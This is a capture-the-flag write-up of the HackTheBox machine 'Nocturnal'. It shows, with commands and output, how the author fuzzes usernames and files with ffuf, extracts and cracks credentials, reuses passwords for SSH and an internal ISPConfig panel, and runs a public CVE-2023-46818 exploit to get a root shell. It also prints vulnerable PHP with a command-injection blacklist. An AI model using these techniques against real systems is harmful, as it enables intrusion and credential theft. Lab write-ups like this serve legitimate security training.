Nocturnal – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“Nocturnal” is an Easy box from HackTheBox
platform. The victim machine is running a web server that exposes an endpoint that can be used, through bruteforce, to leak a file. This file contains credentials that do work as admin in the main webpage. An admin can download backups files that includes a database file that leaks another password for another user. These new credentials work in SSH
service, allowing us to gain initial access to the victim machine. After that, we can see an internal service running as root
identified as ISPConfig
-a tool used to manage emails and DNS
records-. Credentials previously found works for this service as admin
user. Once in, we check this software version and find that it is vulnerable to CVE-2023-46818, a vulnerability that allows code injection. Abusing this vulnerability, we get a shell as root
and compromise the system.
User Link to heading
We start searching for open TCP
ports with Nmap
:
❯ sudo nmap -p- --min-rate=5000 --open -sS -n -Pn -vvv 10.129.219.164
We find only 2 ports open: 22
SSH
and 80
HTTP
. We apply some recognition scripts over these ports with -sVC
flag with Nmap
:
❯ sudo nmap -sVC -p22,80 10.129.219.164
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-13 01:15 -04
Nmap scan report for 10.129.219.164
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds
From output for port 80
HTTP
we can see that the site redirects to http://nocturnal.htb
domain.
We add this domain, along with the target IP address, to our /etc/hosts
file running in a terminal:
❯ echo '10.129.219.164 nocturnal.htb' | sudo tee -a /etc/hosts
Using WhatWeb
against the site shows a contact email (support@nocturnal.htb
) and also shows that this server is running with Nginx
:
❯ whatweb -a 3 http://nocturnal.htb
http://nocturnal.htb [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[support@nocturnal.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.219.164], Title[Welcome to Nocturnal], nginx[1.18.0]
Visiting http://nocturnal.htb
in a web browser shows:
The page says that we are able to upload Word
, Excel
and PDF
documents in it.
We can create an account clicking on register
and then using this account to log in. Once we have created an account, we are able tu upload files:
We can upload a simple PDF
file (which in my case is called dummy.pdf
). Once uploaded we can see it on the web:
Doing some hovering (putting our mouse above dummy.pdf
link text) shows that it redirects to the link:
http://nocturnal.htb/view.php?username=gunzf0x&file=dummy.pdf
This might mean that if our user is called <user>
and our uploaded file is called <file>
, then the generated file will be called:
http://nocturnal.htb/view.php?username=<user>&file=<file>
If we intercept with Burpsuite
what is the request sent when we weant to download the uploaded file we get the response:
GET /view.php?username=gunzf0x&file=dummy.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
But nothing besides this.
If we search for a random file sending the request:
GET /view.php?username=gunzf0&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
We get the response in the web:
We get File does not exist
.
Now, if we change our username
parameter to a user that clearly does not exist:
GET /view.php?username=gunzf0xtester&file=test.pdf HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://nocturnal.htb/dashboard.php
Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
Upgrade-Insecure-Requests: 1
Priority: u=0, i
We get the response:
We can now see the text User not found
.
In summary: we can make request using username
parameter along with the presence (or lack of presence) of User not found
text to search for valid users; and we can use the presence (or absence) of File does not exist
to search for valid files.
First, let’s search for valid users using ffuf
. We can search for valid users filtering by the response size. For example, when we make the request:
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du'
<SNIP>
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
info [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 233ms]
2000 [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
NULL [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 228ms]
michael [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 229ms]
dave [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
tarrant [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 230ms]
david [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
mark [Status: 200, Size: 2985, Words: 1170, Lines: 129, Duration: 436ms]
<SNIP>
We get responses with size 2985
since User not found
text is there as we can manually check with cURL
:
❯ curl -s -X GET 'http://nocturnal.htb/view.php?username=michael&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' | html2text
****** File Viewer ******
User not found.
But if the response found a valid user the size of the response will change from 2985
(except if the error message displayed for a valid user, but an invalid file, returns exactly the same response size; which would be really, really unlucky). Therefore, filter by the response size 2985
in ffuf
adding -fs
flag:
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=test.pdf
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=oqn68o3de9crl8fdke4rc1n3du
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 447ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 226ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 224ms]
We find 3 valid users: admin
, amanda
and tobias
.
Since the site says we are able to upload Word
, Excel
and PDF
file we can search for different formats. We can check this page from Microsoft to see valid extensions for Word
and Excel
; and .pdf
for PDF
files. We create the following dictionary for these valid formats:
❯ cat valid_formats.txt
doc
docx
docm
dot
dotm
odt
pdf
csv
dbf
dif
ods
txt
xls
xlsx
xla
xlsm
and search for potential files:
❯ ffuf -w ./potential_users.txt:FUZZ1 -w ./valid_formats.txt:FUZZ2 -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ3 -u 'http://nocturnal.htb/view.php?username=FUZZ1&file=FUZZ3.FUZZ2' -b 'PHPSESSID=oqn68o3de9crl8fdke4rc1n3du' -fs 2967,3000-3200
<SNIP>
________________________________________________
[Status: 200, Size: 23396, Words: 1232, Lines: 216, Duration: 228ms]
* FUZZ1: amanda
* FUZZ2: odt
* FUZZ3: privacy
We find a valid file: privacy.odt
for amanda
user.
Visiting then:
http://nocturnal.htb/view.php?username=amanda&file=privacy.odt
with our current session downloads a file.
We can open this file in an online PDT Viewer
page such as this one. Upload the privacy.odt
file and check its content. We can also attempt to open this file locally:
❯ xdg-open ./privacy.odt
and open content.xml
file:
Opening this file in a web browser such as Firefox
shows:
We get the following text for Amanda
:
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
We have a potential password: arHkG7HAI68X8s1J
for amanda
user.
This password does not work for amanda
through SSH
, as we can check with NetExec
tool:
❯ nxc ssh nocturnal.htb -u 'amanda' -p 'arHkG7HAI68X8s1J'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [-] amanda:arHkG7HAI68X8s1J
However, if we log out from our current session in the web server and go to http://nocturnal.htb/login.php
, the credentials amanda:arHkG7HAI68X8s1J
do work and we are inside the panel:
We can see a new button that says Go to Admin Panel
. Clicking on it redirects to /admin.php
, where we can see:
If we scroll down to the webpage, we can create a backup that asks for a password:
Additionally, if we click on admin.php
, the same page displays the source code of admin.php
page itself. There, the PHP
code shows how the backup is generated. The main function creating the backup is:
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
The password is defined in a function called cleanEntry
, which is defined as:
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
The sensitive part is the line creating the backup file is:
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
and then this $command
variable is executed in:
$process = proc_open($command, $descriptor_spec, $pipes);
In other words, we might attempt to inject command through $password
variable. However, some characters are banned to avoid Command Injection
.
If we download a backup adding a simple password such as test
and we check the content of the generated file with 7z
we get:
❯ 7z l backup_2025-04-13.zip
<SNIP>
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2025-03-04 12:34:41 ..... 7357 2421 admin.php
2025-03-21 03:40:01 D.... 0 0 uploads
2024-10-06 17:54:39 ..... 20477 18391 uploads/privacy.odt
2024-10-22 02:12:02 ..... 1382 718 register.php
2024-10-22 02:12:09 ..... 1403 728 login.php
2025-04-09 06:52:33 ..... 2644 1158 dashboard.php
2025-04-09 06:56:19 ..... 20480 683 nocturnal_database.db
2025-04-09 06:52:33 ..... 1639 834 index.php
2024-10-22 02:12:34 ..... 5344 1685 view.php
2024-10-04 23:23:43 ..... 84 82 logout.php
2024-10-18 22:26:31 ..... 3105 988 style.css
------------------- ----- ------------ ------------ ------------------------
2025-04-09 06:56:19 63915 27688 10 files, 1 folders
We have a file nocturnal_databae.db
, which is new.
unzip
the file using the password we have used to create the backup:
❯ unzip backup_2025-04-13.zip -d ./backup_content
Archive: backup_2025-04-13.zip
[backup_2025-04-13.zip] admin.php password:
inflating: ./backup_content/admin.php
creating: ./backup_content/uploads/
inflating: ./backup_content/uploads/privacy.odt
inflating: ./backup_content/register.php
inflating: ./backup_content/login.php
inflating: ./backup_content/dashboard.php
inflating: ./backup_content/nocturnal_database.db
inflating: ./backup_content/index.php
inflating: ./backup_content/view.php
inflating: ./backup_content/logout.php
inflating: ./backup_content/style.css
nocturnal_database.db
is an SQLite
file:
❯ file ./backup_content/nocturnal_database.db
./backup_content/nocturnal_database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 15, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 15
Open this .db
file using SQLite
in our attacker machine:
❯ sqlite3 ./backup_content/nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite>
Search for tables that could contain potential passwords:
sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';
users|password
This means that users
table contains a column called password
.
users
table has 3 columns: id
, username
and password
:
sqlite> PRAGMA table_info(users);
0|id|INTEGER|0||1
1|username|TEXT|1||0
2|password|TEXT|1||0
Check the content for username
and password
:
sqlite> SELECT username,password FROM users;
admin|d725aeba143f575736b07e045d8ceebb
amanda|df8b20aa0c935023f99ea58358fb63c4
tobias|55c82b1ccd55ab219b3b109b07d5061d
We have a new hash for tobias
user. Since this hash is 32
characters long, it possibly is a MD5
hash.
We save this hash in a file named tobias_hash
and attempt a Brute Force Password Cracking
with JohnTheRipper
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt tobias_hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
1g 0:00:00:00 DONE (2025-04-13 03:35) 1.136g/s 4197Kp/s 4197Kc/s 4197KC/s slp312..slow86
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We get a password: slowmotionapocalypse
.
Check if this password works for tobias
user with SSH
using NetExec
tool:
❯ nxc ssh nocturnal.htb -u 'tobias' -p 'slowmotionapocalypse'
SSH 10.129.219.164 22 nocturnal.htb [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.129.219.164 22 nocturnal.htb [+] tobias:slowmotionapocalypse Linux - Shell access!
These credentials work.
Log in as tobias
user through SSH
:
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no tobias@nocturnal.htb
<SNIP>
Last login: Sun Apr 13 07:37:25 2025 from 10.10.16.56
tobias@nocturnal:~$
We can grab the user flag at /home/tobias
directory.
Root Link to heading
Checking internal ports open we can see:
tobias@nocturnal:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Port 8080
is new.
Additionally, with ps
we can check who is running this process:
tobias@nocturnal:~$ ps aux | grep 8080
root 1023 0.0 0.8 286480 34324 ? Ss 05:47 0:00 /usr/bin/php -S 127.0.0.1:8080
tobias 2953 0.0 0.0 6432 720 pts/0 S+ 07:54 0:00 grep --color=auto 8080
Apparently this process is being executed by root
. So it could be potentially used to escalate privileges.
We can check if this a web service using cURL
against this local site:
tobias@nocturnal:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 302 Found
Host: 127.0.0.1:8080
Date: Sun, 13 Apr 2025 07:41:30 GMT
Connection: close
X-Powered-By: PHP/7.4.3-4ubuntu2.29
Content-Type: text/html; charset=utf-8
Set-Cookie: ISPCSESS=4p8uen9mi3fe4v8j4th6o6dlug; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login/
It is redirecting to /login/
. It is apparently a website.
We can close the current SSH
session as tobias
and log in again, but this time we create a tunnel through a Local Port Forwarding
using -L
option to convert port 8080
of the victim machine into our localhost 8080
port (remember also to close Burpsuite
if we were using it, since Burpsuite
uses port 8080
by default and port 8080
could already be used):
❯ sshpass -p 'slowmotionapocalypse' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
Once done, in a web browser, we visit http://127.0.0.1:8080
where we can see a new site with a login panel:
It seems to be an internal ISPConfig
application.
ISPConfig
is an open source hosting control panel for Linux
, licensed under BSD
license and developed by the company ISPConfig UG
. ISPConfig
allows administrators to manage websites, email addresses and DNS
records through a web-based interface.Searching for default credentials for ISPConfig
we find this forum. It’s pretty old (from 2005, wow), but there they provide the super secure credentials admin:admin
. These credentials does not work in the site. However, admin:slowmotionapocalypse
credentials (the same password for tobias
user) do work. We are in:
If we click on Help
we can see the current version for ISPConfig
:
The current version is 3.2.10p1
.
Checking at MITRE CVE webpage by vulnerabilities for ISPConfig
with this version we find a vulnerability labeled as CVE-2023-46818. It affects versions before 3.2.11p1
and is a critical vulnerability since it allows PHP
code injection. Searching for public Proof of Concepts for this vulnerability we find this repository. We clone it in our attacker machine:
❯ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git -q
This exploit just asks for a password, user and url:
❯ cd CVE-2023-46818-python-exploit
❯ python3 exploit.py
Usage: python exploit.py <URL> <Username> <Password>
and run the exploit against our localhost
(127.0.0.1
) that will be used against the target machine thanks to the generated tunnel with SSH
:
❯ python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8080/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
We get a shell as root
in the victim machine. GG. We can grab the root
flag at /root
directory.
~Happy Hacking